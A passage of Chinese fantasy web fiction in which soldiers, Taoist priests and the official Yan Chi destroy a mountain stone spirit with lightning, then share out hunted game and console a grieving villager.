一群人听到消息愣了愣,似是触及到了不常用的知识区,就在他们愣神的时候,顾念海三人已经冲到他们旁边看到了扛着炮筒的三娃。
“还愣着干什么?架炮!架炮!”
“来不及解释了,快让开!”
海德星小队已经是一个成熟的小队了,一个眼神、一个动作就能明白对方的计划!
房德抢过炮筒扛在身上,顾念海则是从战士扛着的箱子中取出炮弹,宋应星则是负责疏散人群,她的方式简洁有效,有一个算一个,拎起裤腰带就往旁边抛去,很快就清出来一条通道!
便是再愣神的人在经历起飞+落地后也回过神来了!
炮弹塞入炮筒,架炮上肩,发射!
一套动作行云流水,一气呵成!就像是一个配合默契的炮兵小队!
出膛的炮弹笔直朝着松树林而去,目标位置正是三人刚刚跑出来的地方,隐约看到那里有一个巨大黑影!
熊王正奔向树林外,它要把那三个人拍成烂泥,特别是拿着铁锤的混蛋!
!!!!
突然,熊王脚下一歪,撞在树上,身体蜷缩趁势朝着旁边一侧低矮处滚去!
轰!
炮弹打到边缘树木上,爆发出猛烈的爆炸!
“死了吗?”房德问道!
“好像闪开了,不懂情况怎么样!”顾念海摇摇头!
硝烟很快散去,映入眼中的是一块倒塌的树林,残肢断木碎叶无数!
“你这人怎么能抢炮筒!你、你混蛋!”
三娃骂骂咧咧的抢回炮筒,以他的词汇量来回就是这么几句!
“弟兄们,跟我去看看,提高警惕,都小心点!”
赵九州默默记下方才三人的行为,带着众人往树林里跑去!
“我们也去!”
房德拎起锤子便要跟上!刚动身,左右胳膊各被一只手拉住,左右看去,是顾念海和宋应星!
“不要贪功!”
“小心困兽凶猛!”
第一句是顾念海所说,他们已经做得够多了!
第二句是宋应星所说,受伤的凶兽极强凶猛,方才房德不当人的对待熊王,他一上去怕不是要被追着打!
罢了,那就不去!房德转头看向一旁气呼呼的三娃咧嘴一笑。
“你不能抢俺的炮!”三娃抱着炮筒后退两步,手上的力道不自觉加大了些!
“同志,不好意思,刚刚情况紧急,你是不知道……”
在房德一阵东拉西扯的吹嘘下,三娃表示原谅了房德!
林子中!
林里不远处一片狼藉,好似经历了一场大战,一群年轻人四散而开,搜寻熊王的踪迹
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!
“赵队,没有找到黑熊,但找到了这个!”
一年轻人一手抓着铁链,一手抓着两个断裂扭曲的锁环!
赵九州拿着锁环打量一番,又抓过铁链扯了扯,暗道好大的蛮力,心中对顾念海他们口中的熊王觉醒天赋之说信了几分!
古籍有记,凶兽者,多为修行血脉之道,其天赋、法门、神通皆藏于血脉深处,天资卓越者,激活血脉,天赋自生,……
现在是末法时代,能激活血脉的天材地宝、各种机缘少之又少,可遇而不可求!
这黑熊,可真是好运!
“黑熊呢?”
“可能、可能是逃了!”年轻人回道!
哎!可惜了!
赵九州感叹一番,也没忘了正事。
“你回去喊他们,上山!”
……
燕迟跟着众人很快来到松树林边上,快要进树林时,他抬头望天一笑,然后一脚迈进林里!
一行人没走多远,便听前方有人惊喜喊道!
“雾气散了,前面没有雾气了!”
“咦,怎么这么暗,快看,天上,天黑了!”
“不是天黑,是乌云,好大好浓的乌云!”
一群人透过叶子的间隙看天,只看到天空乌黑如墨,透不出半点光!
两名年轻人找了附近两颗最高的树,他们如猴子般灵巧,指若铁扣攀上树,两下、三下便攀到最高处!
“赵队,这一片天都黑了,目光所及都是黑云!”
“知道了,你们先下来。”
赵九州招呼道,他紧皱眉头开始推演,不应该啊!
现在是吉时,理应不该如此!
“赵队!我们来打头阵!”走在最前面的老道长大声喊道!
“道长,你们这是?”赵九州有些不解,距离石人还有一段距离呢。
道长们这是?
老道长带着人走到最前面和蔼的对着赵九州笑了笑,适时才正色道。
“我们与石人灵的对抗,大抵从迈进树林的时候就开始了,只有顶在前面才有资格布下阵法!”
“只有走到了,才能布阵!”
赵九州闻言明白了,这涉及到了道法之争,不能退让!
儒家讲究的是拿起,君子报仇,十年不晚!
佛家讲究的是放下,前世因,今世果,今肉身作筏渡苦海,来世享荣华富贵登极乐!
而道家则要求的是——拿下!今日不干死你,我道心尽毁!
老道长带头脱下最外层的篷布衣物露出身上的道袍,脱下的衣物折叠好递给年轻人收着,背着包裹带着七名道长走在最前面!
赵九州看着这一幕,心中闪过明悟,方推演出这漫天黑云与那石人有关!
上山的路并不难走,难的是心中的路!
一步一炼心!
周连只觉得队伍走得越发的缓慢了,从最开始的大步迈进到闲庭信步,再到现在的缓慢踱步,真是走得越发的慢!
老道长们是这样,赵队他们也是这样!
他加快两步,走到赵队身旁搀扶。
“赵队,你们这是?”
赵九州身子一软,险些瘫倒在周连身上,不过转瞬就恢复常态,他看向周围,对一群人缓慢踱步感到不解。
这是什么情况?
那他呢?
赵九州扭头回来对上燕迟的眸子,燕迟朝他笑笑,恍然无碍的往前走。
“燕顾问,他们、他们……”
“若想走得快些,让众将士搀扶即可!”
燕迟知道赵九州想问什么!直接给出了答案!
“周连,麻烦你了!”
赵九州面带歉意,周连憨厚笑笑,“不麻烦,不麻烦,都是为人民服务!”
“所有人,都有了,自己找目标,两个搀扶一个!”
“是!”
两个排的战士很快找到各自的目标,没找到的人只能自叹自己慢了一步。
老道长们被搀扶后也很快回过神来,最前面的老道长环顾众人,幽幽叹了口气。
多好的机缘!
可惜……可惜……
其他的道长亦是如此,面上或多或少都有些惋惜!
“福兮命所倚,祸兮福所依!诸位道友,我们继续走吧!”
22.终见石人,斩!
时也,命也!
众道长看着身旁笑得憨厚小战士,心中的气却这么也生不起来,或许这就是命吧!
屠龙书有言:兵卒者,气运金龙鳞甲也,兵势强盛,则金龙威严不堕!欲斩龙,先破鳞……
古籍有言:身负皇朝气运者,魑魅魍魉不可近身,万法不落!
有这些战士守护身旁,就像得到两面人型大盾守护,直接让石人算计落空!
剩下的路程很顺利,一路上也再没有遇到什么波折!
一行人很快来到了碎石堆附近!
“诸道友,请!”
老道长一挥浮尘,让身旁的战士后退,一转身朝着七位道长作揖,摆手请道。
“道友有礼了,请!”
七名道长作揖纷纷回礼,一个个都示意身旁的战士后退,他们的任务完成了,接下来到他们上场了!
时隔七日,重回故地,说不上惊喜也说不上酸涩,有的只是豁达与坦然!
“我给道友开路!”
老道长抚了抚面上的长须,抬手解下了一直背着的包裹,布皮一去,竟是一幅黄色乾(?)卦大旗。
大旗长一米六三,边缘有龙须,旗面中央是黄底黑子的?(乾)字图案,周围绣着白云金龙,金龙藏于白云内,只露出一角两爪!
包裹内还有两根紫黑色小叶紫檀短棍,头对头一拼接,刚好有两米一的长度!
大旗挂其上稳稳当当!
“哈哈哈~仰天大笑出门去,我辈岂是蓬蒿(选自—南陵别儿童入京,李白)”
一声豪情长啸,沉疴尽去,往日里的暗伤、隐疾都在此刻消湮,老道长只觉浑身轻松,如有神助,他昂首挺胸、意气风发的走向自己的正南阵位!
“乾卦归位!其余诸卦欲待何时?还不速速归位!”
老道长中气十足的喊道,其声浩荡威严!
“兑(?)卦接令!”
“离(?)卦接令”
“震(?)卦接令!”
……
“坤(?)卦接令”
几乎在同一时间,七面金色大旗同时展开,兑(?)、离(?)、震(?)、巽(?)、坎(?)、艮(?)、坤(?),
七旗浩荡如风,似鸟雀归巢般落在各自所属方位中。
“八卦归位!”X8
“阵起!”
天空惊雷炸起,一道水桶粗细的紫色惊雷从空中劈落,落于大阵中央处!
大风似潮水般涌起,狂风呼啸,树林摇摆不定,枯枝、落叶纷纷抖落!风中似有隐隐呜咽之声!
“后退!后退!注意躲避!”
周连连声大喊道,虽不清楚是不是这群老道闹出来的动静,但被雷劈可不是开玩笑的。
一众战士闻言,连拉带拽带着一众年轻人躲向低处,燕迟身旁也有一名战士来拉他离开,只不过被他组织了。
“不用了,轮到我上场了!”
战士脸上尽是不解,可也来不及解释了!
燕迟逆着人群向前,与返回的赵九州错身而过,走到了最前方,八卦阵外!
“巡天司现任司长、当朝三品大员燕迟参上!”
燕迟正色说道,其声甚是威严,音量不大,却压狂风一筹,借着风场之力,传进在场每一个人耳中,传偏山川,响彻天地!
巡天司?
赵九州惊讶回头看向那道身影!
巡天司始于古秦,为始皇帝所设立,广纳天下奇人异士,旨在代天巡狩,巡查疆土,镇压不详!
后世历朝历代均有巡天司之身影,或名字不同,但职能不变,旨在代天巡狩,巡查疆土,镇压不详!
或称钦天监!或称司天台!或称司天监!或称太史寮!又或称81所(奇异特殊现象管理所)?
“赵队,我们快找地方避一避!”
周连的话让赵九州回过神来,他深深看了燕迟一眼,眼下不是问询的时机,只得默默记下日后再议!
呜~呜~呜
狂风呼啸,杂着一道幽怨、哀伤之声!
在场将士闻声无一不黯然落泪,只觉心中悲起,又不知悲从何来!
在场的年轻人稍好点,也没好太多,悲从心起,只觉风中有人言所受苦难,感同身受,不自觉的落下泪来!
‘道长,上天有好生之德,我自诞生于天地之间,天生地养无数载!’
“自吾生育灵性,未有残害万灵之意,亦为有伤杀之举,我与世无求无争,久居深山无名,庇佑一方水土风调雨顺。”
“吾生立于天地之间,无愧天下众灵万道,道长,你何故来斩我道途!”
风声怒嚎,直指本心,叩问道理!
在场众人闻言,仿佛回溯时光看到了过去,祂本山中灵,天地垂青,万道予造化,吞日精饮月华!
不知岁月几何,天地诞灵胎,灵胎无相无形,山灵观天下众生万灵,万灵愚昧,唯有人族铸有文明,几度繁华,祂心有所感,灵胎孕形!
又不知几度岁月,灵胎七窍渐成,有感众生不易,造化山林,山清水秀,呦呦鹿鸣,鸟雀纷飞,鱼翔浅底,秩序井然!
山中岁月不知数,恰逢乱世山河破,引渡一方良善之人,隐世而居,朝而作暮而归,自给自足!
父母之爱,情感天地,祂不忍早夭,认为义子,至今四十有三!
石人的过往像是一场电影放映在众人心中,拷问着他们心中的良善!
祂有何过错?
“呵呵!”
燕迟轻笑不屑!随即脸上的笑容隐去,冷漠且肃然道。
“建国之后不许成精!”
他手掌一翻,手中浮现两枚金印,一枚正是巡天司司长金印,即816所所长金印,另一枚也是巡天司司长金印,即816所所长私印
两枚金印滴溜溜的打转,隐约形成一个太极图案!
“代天巡狩,职能所在!”
“今日,吾以巡天司司长之名,代掌天意!”
“我意即天意,天意凝刀!斩!”
话落,两枚金印被燕迟死死握住,他的手臂高高扬起,金印在手头尾相连好似刀柄。
风止,云静,落叶无声!
唯有石人七窍无风自响!
“事已至此,无需再言!唯有!”
“杀!”
我不愿手染鲜血,但奈何……
那便!
杀出一个天清地明,杀出一个朗朗乾坤,再造一遍天地又得如何?
众人闻言心中一紧,这话……这竟然是官话(官方通用语)!
还没等他们有所反应,天地已然不似人间地!
风起云涌,天塌三尺,地沉三分,黑云压落仿佛触手可及!众人想跑却似陷在泥沼中,动弹不得。
狂风席卷山川转瞬化为了飓风!刮得面皮生疼,天雷似落雨,无数雷霆同时劈落,只让人肝胆发颤、汗毛直竖,然诡异的是,成百上千道雷霆竟无一能劈中任何一人,纷纷落在他们三米开外的地上,炸起泥土无数!
雷霆闪耀夺目,至威至正!至阳至刚!
“是非功过,我无
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心评价,居其位谋其事,建国之后不许成精!斩!”
燕迟的轻语淹没在雷霆中,注定无一人知晓,他的手朝着石人所在方位落下,仿佛有一柄无形之刀朝其斩落!
刀斩灵胎,天雷碎其身!
一瞬间天雷尽消,短暂酝酿后,一道宽达十米的巨大紫色雷柱骤然砸下,不偏不倚的砸向石人!
石人也未曾坐以待毙,无尽飓风携海量地煞之气像枚漆黑钻头般迎上雷柱!
然!天威浩荡,至威至正!至阳至刚!破灭一切!
一切的挣扎只是徒劳,根本阻挠不了雷霆一瞬!
“诸位,天怒了!各自往山下跑!”
话落,燕迟转身就朝山下跑去!
众人一怔,不明白燕迟为何要跑,便看到雷霆砸下,石人爆碎成渣,碎石四溅!
一代石人灵就此落幕!
老道长们齐齐喷出一口鲜血,可他们却不顾上擦拭,大声齐吼。
“跑”
八个人提着长棍,连跑带跳的朝山下跑去!
下一瞬!
天空中紫雷涌动,宛若无数蛟龙游云!雷霆落下,每一道雷霆都有水桶粗细!一名年轻人躲闪不及,暴毙当场!
更多的雷霆落在树上,树木爆燃!
已经来不及为倒霉的年轻人伤感,现在面临的是足以要了众人性命的紫霄神雷!
“跑!”赵九州吼道!
一群人争前恐后的朝山下跑去,他们各展所学,什么梯云纵、金燕飞云步、浩荡游山步、八步赶蝉等等,恨不得爹妈多生两条腿!
周连和他所带的战士们跑得最慢,但因为他们在完成护送后,主动下山一段距离构建阵地,阻挠可能从山下来袭的敌人。
所以在雷霆落下的时候,他们是最先跑的,而且他们也无愧地表最强陆军之称,一个赛一个的能跑!背着装备照样跑得嘎嘎猛!
一群人你追我赶的冲到了山下,冲出了松树林子!
“逃出来了!”
老道长们劫后余生庆幸道,颤颤巍巍的用长棍拨开蛇尸,一屁股坐到地上喘息!
“各队长清点人数!”
“各班清点人数!”
赵九州和周连各自整合队伍!清点装备!
雷霆落到松树林边缘好似碰到了无形的屏障,什么也出不来,树内树外好似两片不同的天地!
树林外是安全的,树林内已经化作火海,还有雷霆在不停的劈下,带起一阵又一阵的爆炸!
“房德,房德!应星,看到房德没有?”
顾念海焦急的喊道!他怎么也找不到房德!
“没有,刚刚他还跑在我前面,现在怎么不见他人了?”
宋应星诧异道,难道是被雷劈中了?劈死在林子里了?
突然,她摇摇头散去了这个不切实际的念头,都说好人不长命,祸害遗千年,之前给他瞧过命,这混球可能活了!
轰!
一道紫雷落在边缘的松树上,燃起赤红色火焰!
“哦哦哦!烫烫烫!天道老爷,饶命啊!冤有头债有主,您至高无上可不要认错人啦!无量道尊保佑!阿弥陀佛保佑!佛主保佑!三清道主保佑……”
一道黑影扛着一截三米多长的大木头从松树林子里尖叫地冲出来!
“……………………”
顾念海和宋应星有句麻买批不知当讲不当讲!
房德:还是不要讲了!(づ ̄3 ̄)づ╭?~
众人探寻的目光看向黑影!
这人是谁!
23.战后收尾
“房德,你不要命了!”
宋应星挤到最前面,连拉带拽拖着房德到一旁厉声质问!周遭看戏的人眼中满是好奇、羡慕、敬佩此类眼光!
这人是真拼啊!
“道爷我福大命大!……”
邦!
一听就是好头,顾念海抬手嗑在房德脑门上,皱眉说道:“你觉得自己的性命连块雷击木都不值?”
什么,
雷击木!
宋应星这才注意到一旁的黑木头,蹲下身查看了一下材质是松木的!
“队长,这可是宝贝!”
房德有些不服气!这被天雷劈过的松木可是至阳之物,可难寻了!
“你觉得很值?你看看林子里……”
树林内火焰四起,烟气弥漫,时不时传来雷火相击的爆炸声!
“还好道爷我眼光……”
房德得意的声音越说越小,只因刚才一道水桶粗的天雷劈在十几米外的一颗松树上,一颗大树就此夭折,可天雷还不解气,又落下一道,整颗大树燃起熊熊烈火!
天雷的力量震撼心弦,再怎么心大的人面对近在咫尺的天雷,也不敢打包票说劈不到自己!
“撤退!撤退!”
赵九州和周连再度组织人手撤退,他们虽心有猜测天雷不会落到松树林外,可谁会用性命开玩笑?
一帮人你搀我,我扶你的沿着来时路一路回赶!
值得一提的是,在撤退时,将士们也没有忘记自己的优良传统,打扫战场收集战利品,先前击杀的野猪、野狼、黑熊等,体型小的,一个人咬咬牙也就扛着走了,体型大些的找来藤蔓绑上四肢,一根长木头一穿,也就扛着走了!
一群年轻人见状也有样学样,一个个手提肩扛,带上自己中意的战利品撤离!
可觉得他们磨叽,上山前周连就留下十来个人来打扫战场了,把能收集的收集起来,能提前绑好的提前绑好,只待大部队回来就能带走。
一行人转转绕绕终是回到了村里。
“赵队,这些东西可不禁放,要村民来搭把手,收拾一番才行!”
一回来,周连就找上了赵九州商量处理野兽,虽然东西搬搬回来了,但还不是松懈的时候,必须尽快处理,该冷冻的冷冻,不能冷冻的用盐腌制、要火烤、烟熏风干等等!
他手下都是帮杀才,笨手笨脚的,打个下手还行,可要剥皮、分解、腌制这些精细活可就为难他们了!
先不说剥狼皮,单指熊皮,这玩意可宝贝着呢,一张完整的熊皮是什么?
是面子,是脸!
往大里说这是任务凭证,代表整个连队的硬实力!说出去可是响当当的牌面!
谁不想自己连队里的荣誉室里有张威武霸气的熊皮。
真要被手下这帮杀才霍霍了,不!哪怕是多划了道口子,他都要心痛到泪崩!
“好!我去联系!”
赵九州点点头应下了!自己的队伍也带回了不少战利品,也是需要村民帮忙处理的,他们是地地道道的山里人,懂得用多少盐来腌肉不会变质,懂得怎么控制火的温度,才能把肉烤的色香味美,还利于保存!
一众道长一回到村委就各自躺到了床铺上,他们太累了,维持阵法、阵法反噬、爆发潜能逃跑等一系列事情已经把他们掏空!
顾念海和宋应星已经没了骂人的力气,把野猪王安顿好后就各自回房休息!
他们两个两人合力一路抗着野猪王回来,偏偏野猪王还是个不安分的,一路挣扎摇晃就没停过!
如果不是房德有良心还知道背着背包,提着箱子,他们哪怕不休息也要嘿嘿嘿!
燕迟一回到村子就和众人分开了,返回了家里!
一回到家,燕迟就上到了楼顶,从楼梯口处搬出来一张贡桌!
贡桌呈长方形,高一米二,长一米七,半米宽,依次摆上猪头、鸡、鸭、鱼、果盘;最后放上一个小香炉!
燕迟将两枚金印放到香炉前面,原先两枚金闪闪的金印,如今确是有些暗淡无光,那枚代表所长私印的金印竟是有五道细小的裂痕贯穿整个大印!
他点燃香烛朝四方一拜,恭恭敬敬把香插入香炉!
“天地容禀!石人崩陨!地脉有缺,地煞浊气喷涌损害天地根基,吾不忍……”
“……,今日吾以巡天司司长之名,再借天地之力镇之!”
话落!燕迟双手合拢行礼,随即掐印捏决,口中念念有词!
“天地乾坤,万法不落,因果不沾!……万般造化、无量因果皆由此印受之!”
手一招,那所长私印飞到手中,他单手执印看向石人山头方位,双眸合起!
似要化身成天地,注视着那片燃火落雷的山头,在他的眼中,原先的石人所在之位,有一道地煞浊气泉眼,无尽的地煞浊气喷发数十米而不止!
天雷地火燃起的至阳之气与那地煞浊气分庭抗衡,天雷为锋,摧枯拉朽,破灭一切,地火铸火圈,至阳之气与浊气相互消磨焚尽!
只可惜,天雷至刚至强却势短!
“掌印!掌天地万道!印落法成!”
燕迟再度睁眼之时,仿佛将整片天地映在眼中,九天之上,天雷涛涛化作一方印面,一道紫金色天雷骤然砸下,砸在那地煞泉眼之中,直达山川深处,地脉之上!
“封!”
紫金色天雷化作两道封印,一道封在地脉缺口之处,经年累月之后,此处地脉缺口便会自行弥合,再无此处源头!
另一道则封在石人所在之位,封住地煞浊气之泉眼,所有地煞浊气不得出!
咔咔咔!
金印上的裂痕朝中心蔓延,更深几分,直指最深处!
燕迟已经见怪不怪,将其与另一金印一同放入专门的收纳盒子中,近乎破碎的金印放进盒子后,上面的裂痕竟是以微不可查的速度缓缓愈合!
他将最后的收尾工作完成,就径直回到床上休息!
小樱乖巧的卧在他身旁,陪着他一起睡觉!
……
“大家伙,好好干啊!这比过年还热闹嘞!”村长乐呵呵的笑着!
村里能来的村民都来了,自发的加入这次盛会中,这样的大场面别说村民了,就连村长长这么大都没见过一回。
两头熊、三十多头野猪,四十多匹狼、一小堆蛇,光是分堆放都像一座座小山,看得一众村民两眼发直!
(周连休息了一阵,看着天空只打雷不下雨,带着战士们往返搬了几趟,把能带的都带回来了!蛇因为是烧死、炸死,不好处理,精挑细选了一部分回来炖汤!)
周连只要便于携带的部位,比如腌制熏烤好的猪腿、精肉干、熊掌、熊皮、狼皮什么的,其他的能煮就煮,煮不了这么多的就分给村民们!
赵九州那边也一样,不过他们要的是肉干、狼皮、狼牙、野猪獠牙!
除了这些,还剩下好多的肉还有肥油、下水等等,都是不好携带的!
在村长的安排下,一众村民自带锅碗瓢盆、柴米油盐来帮忙,你烧水、我剥皮、他切肉,各司其职,风风火火的比过年都热闹。
等到处理完成后,每个村民都是带着笑脸走的!那些锅碗瓢盆来的时候是空荡荡的,回去的时候是沉甸甸的!
当晚,大家热热闹闹的聚餐,好不热闹!
午夜时,下起了大雨!
接下来几天,周连的队伍原地待命,收拾摆弄着战利品,偶尔派出一两只小队和年轻人们一起进山勘察!
原本的石人山已经付之一炬,整个山头烧成灰灰!或许是冥冥之中自有天助,大火只烧了石人所在的山头,没有殃及其他地方!
石人!不,那块碎石堆只剩下了四五块较大的碎石,中心凹下一个大坑,周围的的碎石崩碎得只有原来三分之一、甚至四分之一的大小!
到了第三天中午,周连带着队伍离开了!
时间来到第四天早上!
山珍村村口!
“燕顾问这次太感谢你的帮忙了,你和我们一起走吗?
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”
赵九州笑着和燕迟握手!
“赵队,你们先回去,我再留几天陪陪他们!”燕迟客气道!
“燕顾问,那我们过几天再见!”
“嗯,再见!”
“开车!”
赵九州转身上了车,手从车窗探出挥动,这一次的行动很圆满,只付出了一死一伤的代价!
车队离开了村子渐行渐远,随着最后一辆车拐过弯,后视镜中彻底失去了山珍村的影子!
燕迟家楼顶!
“嘤~嘤~嘤~”
小白狐与一只老鹰对视!
老鹰站在矮墙墙沿上,一身翎羽好似精钢铁片铸就的盔甲,它眼神锐利,神俊异常,脚上利爪似能刺破金石!
“咕~咕~咕”
“嘤!嘤嘤~”
小白狐转身走进楼梯内,再出来的时候,它后脚一蹦一跳,前脚捧着一个小盒子!
老鹰的脑袋随着盒子轻微起伏,目光死死盯着盒子!
“咕~”
“嘤!”
白狐放下盒子昂首叫道!老鹰一展双翅从墙上飞落,快落地时又扑腾两下翅膀,带起一阵大风!
有趣的是,明明老鹰落地的位置是小白狐身前,可带起的风却是绕过了这小不点飞向更远处汇合!
“嘤~嘤~”
白狐看到老鹰飞下来,本能的一缩脑袋,随后又高傲的抬起头挺着胸膛!
老鹰眼中闪过不屑,没有理会这狐仗人势的小不点,它太起爪子点在盒子上,盒子打开露出一颗拇指头大小、白净如玉的丹药。
丹药带着淡淡草木的清香!闻道清香的老鹰、白狐纷纷觉得精神一震,体内的气血壮大了一丝丝!
“嘤~”
小白狐艰难的扭过头去,不再看着盒子!
老鹰低头一啄,整颗丹药便进到腹中,随即翅膀一张一扇,接着风力扶摇直上!
“唳!”
“嘤嘤嘤~~~”
小白狐被狂风扇了个踉跄!在地上打了个滚,它站起身来叉着腰,抬起头对着老鹰嘤嘤直叫!
在空中盘旋的老鹰看着下方的小不点起了玩心,双翅一动,朝着它俯冲而下!
小白狐面露惊色,夹着尾巴就往楼梯里跑!
却不料,空中鹰啸再起!
“唳~~~”
“嘤嘤嘤!嘤嘤……”
老鹰复起高飞,高傲地在空中盘旋两圈后,朝着西北方向飞去,留下楼顶的小白狐指着天空嘤嘤直叫,任谁看到小樱气急败坏的样子都觉得骂得难听!
不多时,燕迟回到家中,刚进门就被白狐扑进怀中,嘤嘤直叫,委屈的模样好似在告家长!
……
816所所长办公室!
“叶所,这是石人事件报告!”
叶定方接过赵九州手上递来文件打开查看,良久,方才问道。
“燕迟,你这么看?”
“看不清,看不透!”
赵九州回道,道门一脉博大精深,原本预计要付出巨大代价才能镇杀的石人,有了燕迟加入,竟顺利镇杀,仅仅付出了一死一伤的代价!
可不要小看这里面的差距,若你不是道门人,只知太极八卦阴阳鱼,天干地支二十四象,定夸你学识渊博。
若你是道门修者,只知这细微毫毛,定要骂你学术不精,愧对祖师,抄写经书十万卷!
未曾修道,见其如井底之蛙见明月,可已入道,只觉一粒浮游望青天!
心中虽如是想,嘴上却不多言,一切交由叶定方决断!
“九州啊,九州!你可还是这么的滑头!”
叶定方合上档案笑骂道,他已经看完了,心里已经有了决断!
他从未忘记肩负的使命,明知前有高山又如何,世上无难事,只要肯攀登!
“你可有不解的地方?”
赵九州迟疑了一瞬,方才问出埋藏已久的困惑!
“叶所,我们所的前身可是巡天司?”
24.交接仪式
叶定方没有直接回答,他从旁边的柜子里拿出一份保密协议递给赵九州。
“签了它,你能查阅一份绝密级档案!你要知道的东西都在里面!”
赵九州把协议拿在手中,甚至不需要看上面的内容都知道写的是什么!这份协议就是最好的证据!
当内心确定了一件事后,更多的疑问从心底冒出来!
末法时代,为什么这个816所还会存在?
如果以前神佛真的存在,那以前存在的皇朝的皇帝追求的长生真的存在吗??
那神话传说中的漫天神佛又去了哪里?
他真的知道这世界的另一面吗?
……
赵九州再低头的时候,只觉得手中的是无比的烫手,又是无比的诱人!
仙、佛、道与长生!
……
一条黑鳞大蛇吐着信子穿梭在山鼠挖出来的鼠道内,地道中有些冷清,空气中弥漫着些许烟味。
这是数天前的那场天降雷火留下的痕迹,原主民山鼠族群受不了烟熏火烤,冲出洞口各自逃亡,然后化作灰烬!
但被火烧过的土地很快迎来新的原住民,也迎来了新的山鼠!
大蛇顺着鼠道一路前行,很快就来到了洞穴的最深处!
吱~吱~吱
三只山鼠抱团躲在角落瑟瑟发抖,有一只身下滴下数滴晶黄的液体,害怕极了!
大蛇眼中闪过一丝厌恶,它的目的并非这些小老鼠,而是它们旁边那块拳头大小的椭圆墨色石头!
蛇头愈发靠近石头,石头一头大一头小,小的那头尖尖处缺了一块,让这块石头看上去有点瑕疵!
吱吱吱~
山鼠更加颤巍蜷缩到墙壁上,生怕引起大蛇注意,殊不知,弱者是没有选择权的!
唯一的出口掌握在大蛇手中,它们根本无处可躲!
黑鳞大蛇自然不会拒绝送到嘴边的食物,蛇头张开大口,一口一只山老鼠,最后嘴巴张到了极限,缓慢的把那块椭圆石头吞进肚中!
吞完石头,大蛇只觉一股困意袭来,在陷入沉睡前,它只来得及把身体蜷缩盘成团,然后就陷入了长时间的沉眠中!
当夜!
天生异象,王臣异位!
有夜观星象者推算到——阴阳失衡,撬动了沉寂中的天道,法则松动了一丝,天地之内、深山老林之中生出了稀薄的灵气!
这一夜,不知有多少人兴奋,也不知有多少人忧心忡忡!
……
日上三竿!
山珍村一处房屋外。
嘭!嘭!嘭!
燕迟带着小白狐来到门前,手掌用力拍门,大声喊道。
“大拐哥,开门!我来看你了!大拐哥!开开门!”
敲了半天,都没有回应!似乎不在家!
燕迟嘀咕道:“不应该啊!”
他抬手掐指一算,叹了口气,这个李大拐,唉!
“白樱,你进去把大拐哥喊醒!”
嘤!嘤~
白狐点点头,轻轻一跃,就从肩膀跃上院墙,再一跃进到了院子内。
它左右扭头看了看,房门是锁着的,只有左侧的窗户半开可以钻进去!
又是一跃,白狐跳上了窗户,进到屋子里,刚到屋子里,它就打了个喷嚏!
酸的,臭的,五怪十味直冲鼻子!
这都什么味啊!可真难闻!
白樱屏着呼吸,皱着眉在屋里寻人!
很快就在卧室找到见了人——李大拐正躺在床上呼呼大睡,呼噜打的都有了回声!
它跳到床上嘤嘤叫了两声,没见回应,又用爪子呼脸,当然呼上去之前,爪钩已经收起来了!
这种如同小孩力气的爪子呼脸完全没有效果,白狐打累了也只是让李大拐脸色红润了些,看上去面色更好了!
……
白狐陷入沉默,好气啊!这人脸皮真的好厚!
很快,它又鼓起信心来,这点小小困难这么能难道美貌和智慧并存的白樱呢!
跳下床头,它便在屋子里逛了起来,很快就找到了目标——还剩半壶水的铝皮水壶。
这种水壶是赶山人的标配,村里每家每户都有,进山或者下地干活时灌上满满一壶,什么时候水喝得差不多了,什么时候收工回家!
水壶上绑着根绳子,白狐咬着绳子,拖着水壶就走!
啊,你问为什么不是叼着!
水壶太大,而白樱又太小,脑袋仰到极限也才堪堪和水壶齐平!
白狐鼓着嘴,两条后腿夹着壶身,两条肉垫小爪爪用力扭着瓶盖!
一边扭,一边嘤嘤叫,像是给自己打气,又像是在控诉某人把壶盖扭得太紧!
嘤!
壶盖扭开了!
白狐拖着水壶到李大拐脸旁,然后抬起壶身,水壶里的水猛地倒出来灌倒脸上!
李大拐一个吸气,水顺着鼻孔吸入,直接呛得他咳嗽不止!
嘤~(醒了!)
白樱开心的撂下水壶,从床上跃下地面,拔腿就跑!
它三蹦两跳就从屋里跑出,跳到了院墙上跃进燕迟怀中!
嘤嘤~嘤~嘤嘤嘤~
“嗯嗯,你好棒,你最棒了!”
白樱在怀里邀功,得到了燕迟的表扬,眯着眼睛享受大手摸摸头!
“大拐哥,大拐哥,你开开门,我知道你醒了!”
不一会,院门开了!
“迟哥儿~,你来做什么?”
李大拐声音闷闷的,显然心情不怎么好!
他胡子拉碴、头发打结,身上还带着一股酒味!
这几天他一直呆在家里,哪里也没去,每天吃了睡,睡了吃!
“大拐哥,不请我进去坐坐?”
“有什么事情,在屋外说就行!”
李大拐冷着脸,语气很硬,两人之间就像是最熟悉的陌生人。
“大拐哥,我知道你心中还有怨气,但那是大势所趋!你改不了,我也改不了这大势,过去的就过去吧,你要振作起来!”
看到李大拐现在的模样,燕迟心里也很难受,希望能通过劝说让他走出来!
李大拐翻了个白眼,感情不是你干娘没了,内心对燕迟更加不喜!
他语气生硬的说道,
“我还有事,咱不聊了,”
说着就要合上大门!
燕迟急了,上前一步挡住大门,他明白这次门关上后再见可就是陌生人了!
“我要走了,走之前有件礼物送给你,还有帮人带句话。“
“有话快说!”
门上的力道轻了些,燕迟连忙从兜里掏出一个小盒子递给李大拐!
“你打开看看!”
盒子是紫檀木盒,巴掌大小!上面雕刻着一副山水画!
画中正是小山村及附近几座山的模样,也包括了石人所在的那一座!
李大拐瞟了一眼,眼睛就移动不开了,他看到了盒子上那座熟悉的山,那座魂牵梦萦的山!
大门上的力道瞬间消失,黝黑的粗糙大手颤抖的结果盒子,手指轻轻的抚摸上面的雕纹!
“打开看看吧,里面才是我送你的礼物!”燕迟笑着说道!
李大拐小心的掀开盒子,生怕损伤了这个小盒!
!!!!!!
盒子打开,他整个人愣在了原地,眼泪不自觉的从眼中涌出模糊了视线,抬手去擦拭,可越擦越看不清楚盒子!
“你和干娘的缘分未尽,它会护着你走完最后一段人生路,你带着它看遍人间繁华!”
“狗娃~,走出山看看吧,不要一辈子耽误在这大山里了!这是干娘让我给你带的话!”
燕迟话音刚落,李大拐鼻子一酸,扑通一下坐到地上,手上的盒子握得稳稳当当,突然哇的一下大哭起来,<
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p>一炷香后!
李大拐情绪终于稳定下来,他红着眼睛不好意思道。
“迟哥儿~,真的太谢谢你了!你看……我这……我都不知道怎么报答你!”
其实他也是一个‘知识分子’,但是懂得也多,也越加的无力!
燕迟坐在一块随手捡来的砖头上,停下逗弄小狐狸的动作,抬头说道。
“我们兄弟之间的感情说什么报答不报答的,你请我吃顿饭就过去了!”
